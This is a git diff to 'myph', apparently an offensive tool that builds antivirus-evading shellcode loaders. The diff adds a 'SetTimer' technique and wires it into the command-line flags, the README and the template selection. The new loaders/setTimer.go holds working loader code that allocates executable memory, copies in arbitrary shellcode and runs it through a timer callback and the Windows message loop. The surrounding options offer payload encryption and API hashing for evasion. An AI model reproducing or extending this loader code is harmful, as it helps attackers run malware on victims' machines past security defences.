myph

diff --git a/README.md b/README.md
@@ -58,7 +58,7 @@ Flags:
   -p, --process string            target process to inject shellcode to (default "cmd.exe")
   -s, --shellcode string          shellcode path (default "msf.raw")
       --sleep-time uint           sleep time in seconds before executing loader (default: 0)
-  -t, --technique string          shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp) (default "CRT")
+  -t, --technique string          shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer) (default "CRT")
       --use-api-hashing           Use API Hashing
   -v, --version                   version for myph
 ```
@@ -75,6 +75,7 @@ This tool supports few methods for now, but aims to add more as time goes on:
 - CreateRemoteThread
 - EtwpCreateEtwThread
 - CreateRemoteThreadEx
+- SetTimer
 
 If you don't know what that is about, go check out [this repository](https://github.com/matro7sh/BypassAV) :)~
 

diff --git a/cli/parser.go b/cli/parser.go
@@ -347,7 +347,7 @@ func GetParser(opts *Options) *cobra.Command {
 	rootCmd.Flags().StringVarP(&opts.BuildType, "binary-format", "b", defaults.BuildType, "Binary format (exe,dll)")
 	rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
 	rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
-	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp)")
+	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer)")
 	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
 	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
 	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")

diff --git a/cli/types.go b/cli/types.go
@@ -84,11 +84,11 @@ func (e *technique) String() string {
 // Set must have pointer receiver so it doesn't change the value of a copy
 func (e *technique) Set(v string) error {
 	switch v {
-	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp", "NtCreateThreadEx", "EnEnumCalendarInfoA":
+	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp", "NtCreateThreadEx", "EnEnumCalendarInfoA", "SetTimer":
 		*e = technique(v)
 		return nil
 	default:
-		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"NTCreateThreadEx\",  \"EnumCalendarInfoA\", \"Etwp\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"NTCreateThreadEx\",  \"EnumCalendarInfoA\", \"Etwp\", \"SetTimer\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
 	}
 }
 

diff --git a/loaders/setTimer.go b/loaders/setTimer.go
@@ -0,0 +1,87 @@
+package loaders
+
+import (
+	"fmt"
+	"strings"
+)
+
+type SetTimerTemplate struct {
+}
+
+func (t SetTimerTemplate) Import() string {
+	return fmt.Sprintf(`
+import (
+    "syscall"
+    "unsafe"
+)
+`)
+}
+
+func (t SetTimerTemplate) Const() string {
+	return fmt.Sprintf(`
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+	kernel32      = syscall.MustLoadDLL("kernel32.dll")
+	user32        = syscall.MustLoadDLL("user32.dll")
+
+	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
+	SetTimer      = user32.MustFindProc("SetTimer")
+	GetMessageW   = user32.MustFindProc("GetMessageW")
+	DispatchMessageW = user32.MustFindProc("DispatchMessageW")
+)
+`)
+}
+
+func (t SetTimerTemplate) Init() string {
+	return ""
+}
+
+func (t SetTimerTemplate) Process() string {
+	return fmt.Sprintf(`
+	addr, _, _ := VirtualAlloc.Call(
+		0,
+		uintptr(len(shellcode)),
+		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+	)
+
+	for i := 0; i < len(shellcode); i++ {
+		*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
+	}
+
+	var dummy uintptr = 0
+	_, _, _ = SetTimer.Call(0, dummy, 0, addr)
+
+	var msg [48]byte
+	_, _, _ = GetMessageW.Call(uintptr(unsafe.Pointer(&msg[0])), 0, 0, 0)
+	_, _, _ = DispatchMessageW.Call(uintptr(unsafe.Pointer(&msg[0])))
+`)
+}
+
+func (t SetTimerTemplate) GetTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+	
+}
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return template
+}

diff --git a/loaders/utils.go b/loaders/utils.go
@@ -41,6 +41,7 @@ func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique st
 		"CreateFiber":       CreateFiberTemplate{},
 		"Etwp":              ETWPTemplate{},
 		"NtCreateThreadEx":  NtCreateThreadExTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
+		"SetTimer":          SetTimerTemplate{},
 	}
 
 	if useApiHashing {